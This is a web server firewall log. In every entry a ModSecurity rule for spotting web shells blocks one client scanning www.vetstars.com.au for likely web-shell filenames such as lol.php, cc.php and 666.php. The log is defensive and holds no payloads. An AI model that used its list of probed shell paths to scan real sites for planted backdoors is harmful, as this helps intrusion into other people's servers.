[Wed Jan 21 00:08:32.271330 2026] [:error] [pid 17295:tid 17310] [client 20.230.68.25:18844] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lol.php"] [unique_id "aW-ogPZJhGdrcqZICT-1aQAAAYw"]
[Wed Jan 21 00:08:32.712325 2026] [:error] [pid 56326:tid 56350] [client 20.230.68.25:18864] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lol.php"] [unique_id "aW-ogBA6mi8Uwf45Uy9YzgAAANY"]
[Wed Jan 21 00:08:33.170351 2026] [:error] [pid 17295:tid 17300] [client 20.230.68.25:18933] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cc.php"] [unique_id "aW-ogfZJhGdrcqZICT-1bgAAAYI"]
[Wed Jan 21 00:08:33.689737 2026] [:error] [pid 17295:tid 17302] [client 20.230.68.25:18938] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cc.php"] [unique_id "aW-ogfZJhGdrcqZICT-1bwAAAYQ"]
[Wed Jan 21 00:08:34.226113 2026] [:error] [pid 17295:tid 17298] [client 20.230.68.25:18858] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cc.php"] [unique_id "aW-ogvZJhGdrcqZICT-1cQAAAYA"]
[Wed Jan 21 00:08:34.728231 2026] [:error] [pid 54382:tid 54393] [client 20.230.68.25:18819] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cc.php"] [unique_id "aW-ogkTJlZ9SJ6sBOEvdTAAAAAg"]
[Wed Jan 21 00:08:35.226351 2026] [:error] [pid 17295:tid 17306] [client 20.230.68.25:4049] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/o.php"] [unique_id "aW-og_ZJhGdrcqZICT-1dwAAAYg"]
[Wed Jan 21 00:08:35.700403 2026] [:error] [pid 56326:tid 56343] [client 20.230.68.25:18871] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/o.php"] [unique_id "aW-ogxA6mi8Uwf45Uy9YzwAAAM8"]
[Wed Jan 21 00:08:36.104339 2026] [:error] [pid 17295:tid 17303] [client 20.230.68.25:18842] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/o.php"] [unique_id "aW-ohPZJhGdrcqZICT-1fAAAAYU"]
[Wed Jan 21 00:08:36.528653 2026] [:error] [pid 17295:tid 17300] [client 20.230.68.25:18817] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/o.php"] [unique_id "aW-ohPZJhGdrcqZICT-1fwAAAYI"]
[Wed Jan 21 00:08:37.020477 2026] [:error] [pid 17295:tid 17302] [client 20.230.68.25:18892] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aaa.php"] [unique_id "aW-ohfZJhGdrcqZICT-1gQAAAYQ"]
[Wed Jan 21 00:08:37.468613 2026] [:error] [pid 8455:tid 8462] [client 20.230.68.25:18912] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aaa.php"] [unique_id "aW-ohYJiHdPVtruynXDY_QAAA0U"]
[Wed Jan 21 00:08:37.918143 2026] [:error] [pid 56291:tid 56314] [client 20.230.68.25:18883] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aaa.php"] [unique_id "aW-ohbXgW_1T5Nikxa0WmgAAAFM"]
[Wed Jan 21 00:08:38.323925 2026] [:error] [pid 56326:tid 56335] [client 20.230.68.25:18830] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aaa.php"] [unique_id "aW-ohhA6mi8Uwf45Uy9Y0QAAAMc"]
[Wed Jan 21 00:08:38.762976 2026] [:error] [pid 54260:tid 54333] [client 20.230.68.25:18902] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n.php"] [unique_id "aW-ohtg7jS3jmpUN0WA7igAAAVc"]
[Wed Jan 21 00:08:39.215581 2026] [:error] [pid 56291:tid 56306] [client 20.230.68.25:18845] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n.php"] [unique_id "aW-oh7XgW_1T5Nikxa0WngAAAEs"]
[Wed Jan 21 00:08:39.637831 2026] [:error] [pid 17295:tid 17318] [client 20.230.68.25:18937] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n.php"] [unique_id "aW-oh_ZJhGdrcqZICT-1igAAAZQ"]
[Wed Jan 21 00:08:40.179808 2026] [:error] [pid 8455:tid 8477] [client 20.230.68.25:18908] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n.php"] [unique_id "aW-oiIJiHdPVtruynXDY_gAAA1Q"]
[Wed Jan 21 00:08:40.630279 2026] [:error] [pid 56360:tid 56369] [client 20.230.68.25:18866] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aW-oiE1J8CD1rR-wXXt9DQAAAQc"]
[Wed Jan 21 00:08:41.098315 2026] [:error] [pid 17295:tid 17314] [client 20.230.68.25:18848] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aW-oifZJhGdrcqZICT-1jgAAAZA"]
[Wed Jan 21 00:08:41.533975 2026] [:error] [pid 8455:tid 8481] [client 20.230.68.25:18903] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aW-oiYJiHdPVtruynXDY_wAAA1g"]
[Wed Jan 21 00:08:41.957189 2026] [:error] [pid 54260:tid 54335] [client 20.230.68.25:18827] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aW-oidg7jS3jmpUN0WA7iwAAAVg"]
[Wed Jan 21 00:08:42.439168 2026] [:error] [pid 56291:tid 56311] [client 20.230.68.25:4085] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fileas.php"] [unique_id "aW-oirXgW_1T5Nikxa0WowAAAFA"]
[Wed Jan 21 00:08:42.955023 2026] [:error] [pid 56291:tid 56296] [client 20.230.68.25:18887] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fileas.php"] [unique_id "aW-oirXgW_1T5Nikxa0WpgAAAEE"]
[Wed Jan 21 00:08:43.390953 2026] [:error] [pid 56360:tid 56378] [client 20.230.68.25:18825] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fileas.php"] [unique_id "aW-oi01J8CD1rR-wXXt9EQAAARA"]
[Wed Jan 21 00:08:43.886083 2026] [:error] [pid 56360:tid 56379] [client 20.230.68.25:18884] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fileas.php"] [unique_id "aW-oi01J8CD1rR-wXXt9EgAAARE"]
[Wed Jan 21 00:08:44.302095 2026] [:error] [pid 54382:tid 54402] [client 20.230.68.25:18943] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cccc.php"] [unique_id "aW-ojETJlZ9SJ6sBOEvdUgAAABE"]
[Wed Jan 21 00:08:44.742213 2026] [:error] [pid 17295:tid 17318] [client 20.230.68.25:18831] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cccc.php"] [unique_id "aW-ojPZJhGdrcqZICT-1mQAAAZQ"]
[Wed Jan 21 00:08:45.235329 2026] [:error] [pid 54260:tid 54320] [client 20.230.68.25:18840] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cccc.php"] [unique_id "aW-ojdg7jS3jmpUN0WA7jAAAAUw"]
[Wed Jan 21 00:08:45.680032 2026] [:error] [pid 17295:tid 17322] [client 20.230.68.25:18939] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cccc.php"] [unique_id "aW-ojfZJhGdrcqZICT-1ngAAAZg"]
[Wed Jan 21 00:08:46.145854 2026] [:error] [pid 54260:tid 54308] [client 20.230.68.25:18917] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CLA.php"] [unique_id "aW-ojtg7jS3jmpUN0WA7jwAAAUA"]
[Wed Jan 21 00:08:46.601608 2026] [:error] [pid 54260:tid 54323] [client 20.230.68.25:18893] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CLA.php"] [unique_id "aW-ojtg7jS3jmpUN0WA7kAAAAU8"]
[Wed Jan 21 00:08:47.067089 2026] [:error] [pid 17295:tid 17298] [client 20.230.68.25:18921] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CLA.php"] [unique_id "aW-oj_ZJhGdrcqZICT-1ogAAAYA"]
[Wed Jan 21 00:08:47.519702 2026] [:error] [pid 54260:tid 54312] [client 20.230.68.25:18911] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CLA.php"] [unique_id "aW-oj9g7jS3jmpUN0WA7kQAAAUQ"]
[Wed Jan 21 00:08:47.988502 2026] [:error] [pid 56360:tid 56371] [client 20.230.68.25:18874] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wfile.php"] [unique_id "aW-oj01J8CD1rR-wXXt9FQAAAQk"]
[Wed Jan 21 00:08:48.491876 2026] [:error] [pid 54259:tid 54296] [client 20.230.68.25:18915] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wfile.php"] [unique_id "aW-okA2q1USrePnOoFQXswAAAJM"]
[Wed Jan 21 00:08:48.960758 2026] [:error] [pid 63647:tid 63667] [client 20.230.68.25:4039] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wfile.php"] [unique_id "aW-okFUaYw1xHOoaFFI47wAAAhI"]
[Wed Jan 21 00:08:49.402174 2026] [:error] [pid 63647:tid 63653] [client 20.230.68.25:18896] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wfile.php"] [unique_id "aW-okVUaYw1xHOoaFFI48AAAAgQ"]
[Wed Jan 21 00:08:49.901500 2026] [:error] [pid 54260:tid 54322] [client 20.230.68.25:18934] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abc.php"] [unique_id "aW-okdg7jS3jmpUN0WA7lwAAAU4"]
[Wed Jan 21 00:08:50.312205 2026] [:error] [pid 8455:tid 8480] [client 20.230.68.25:18899] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abc.php"] [unique_id "aW-okoJiHdPVtruynXDZBgAAA1c"]
[Wed Jan 21 00:08:50.755732 2026] [:error] [pid 56326:tid 56347] [client 20.230.68.25:18932] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abc.php"] [unique_id "aW-okhA6mi8Uwf45Uy9Y1gAAANM"]
[Wed Jan 21 00:08:51.251202 2026] [:error] [pid 8455:tid 8465] [client 20.230.68.25:18907] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abc.php"] [unique_id "aW-ok4JiHdPVtruynXDZBwAAA0g"]
[Wed Jan 21 00:08:51.725737 2026] [:error] [pid 54260:tid 54333] [client 20.230.68.25:18849] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wb.php"] [unique_id "aW-ok9g7jS3jmpUN0WA7mwAAAVc"]
[Wed Jan 21 00:08:52.200316 2026] [:error] [pid 56326:tid 56344] [client 20.230.68.25:18901] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wb.php"] [unique_id "aW-olBA6mi8Uwf45Uy9Y2QAAANA"]
[Wed Jan 21 00:08:52.618932 2026] [:error] [pid 56360:tid 56373] [client 20.230.68.25:18888] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wb.php"] [unique_id "aW-olE1J8CD1rR-wXXt9GQAAAQs"]
[Wed Jan 21 00:08:53.064459 2026] [:error] [pid 56326:tid 56352] [client 20.230.68.25:18837] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wb.php"] [unique_id "aW-olRA6mi8Uwf45Uy9Y2gAAANg"]
[Wed Jan 21 00:08:53.513843 2026] [:error] [pid 56326:tid 56334] [client 20.230.68.25:4043] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mds.php"] [unique_id "aW-olRA6mi8Uwf45Uy9Y2wAAAMY"]
[Wed Jan 21 00:08:53.951558 2026] [:error] [pid 56326:tid 56331] [client 20.230.68.25:18843] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mds.php"] [unique_id "aW-olRA6mi8Uwf45Uy9Y3AAAAMM"]
[Wed Jan 21 00:08:54.374184 2026] [:error] [pid 56291:tid 56319] [client 20.230.68.25:18818] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mds.php"] [unique_id "aW-olrXgW_1T5Nikxa0WqQAAAFg"]
[Wed Jan 21 00:08:54.778411 2026] [:error] [pid 8455:tid 8475] [client 20.230.68.25:18940] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mds.php"] [unique_id "aW-oloJiHdPVtruynXDZCAAAA1I"]
[Wed Jan 21 00:08:55.251084 2026] [:error] [pid 8455:tid 8473] [client 20.230.68.25:18856] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mlex.php"] [unique_id "aW-ol4JiHdPVtruynXDZCQAAA1A"]
[Wed Jan 21 00:08:55.692247 2026] [:error] [pid 54382:tid 54408] [client 20.230.68.25:18927] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mlex.php"] [unique_id "aW-ol0TJlZ9SJ6sBOEvdXgAAABc"]
[Wed Jan 21 00:08:56.177047 2026] [:error] [pid 54382:tid 54385] [client 20.230.68.25:4070] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mlex.php"] [unique_id "aW-omETJlZ9SJ6sBOEvdXwAAAAA"]
[Wed Jan 21 00:08:56.588084 2026] [:error] [pid 63647:tid 63658] [client 20.230.68.25:18841] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mlex.php"] [unique_id "aW-omFUaYw1xHOoaFFI49AAAAgk"]
[Wed Jan 21 00:08:57.033357 2026] [:error] [pid 56360:tid 56377] [client 20.230.68.25:4036] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a.php"] [unique_id "aW-omU1J8CD1rR-wXXt9IgAAAQ8"]
[Wed Jan 21 00:08:57.454622 2026] [:error] [pid 56360:tid 56380] [client 20.230.68.25:4061] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a.php"] [unique_id "aW-omU1J8CD1rR-wXXt9JAAAARI"]
